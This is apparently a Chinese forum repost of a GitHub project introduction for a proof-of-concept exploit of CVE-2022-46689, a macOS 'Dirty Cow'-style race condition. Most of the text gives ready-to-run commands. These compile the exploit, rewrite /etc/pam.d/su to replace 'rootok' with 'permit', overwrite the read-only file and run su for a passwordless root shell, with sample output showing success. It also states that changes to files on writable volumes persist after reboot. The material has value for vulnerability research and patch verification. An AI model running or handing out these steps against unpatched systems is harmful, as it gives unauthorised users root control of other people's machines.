在macOS 13.0.1上使用CVE-2022-46689(相当于macOS的Dirty Cow bug)获得root

项目介绍

在macOS 13.0.1上使用CVE-2022-46689(相当于macOS的Dirty Cow bug)获得root,使用从苹果的XNU源中提取的测试案例。

项目地址

https://github.com/zhuowei/MacDirtyCowDemo

使用从Apple 的 XNU 源中提取的测试用例,使用 CVE-2022-46689 (相当于 Dirty Cow 错误的 macOS) 在 macOS 13.0.1 上获取 root 。

https://worthdoingbadly.com/macdirtycow/

用法

在 macOS 13.0.1 / 12.6.1(或更低版本)机器上,运行:

clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su

你应该得到:

% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#

在关闭 SIP 的情况下在 macOS 13 beta (22A5266r) 上进行测试(它应该仍然可以在 SIP 开启的情况下工作)。

如果您的系统已完全修补 (macOS 13.1 / 12.6.2),它应该改为:

$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure

并且运行 su 仍应要求输入密码。

感谢 Sealed System Volume,在 /System 卷上的任何文件上运行它只会临时修改文件:它会在重新启动时恢复。 在可写卷上的文件上运行它会在重启后保留修改。

请登录后发表评论

    没有回复内容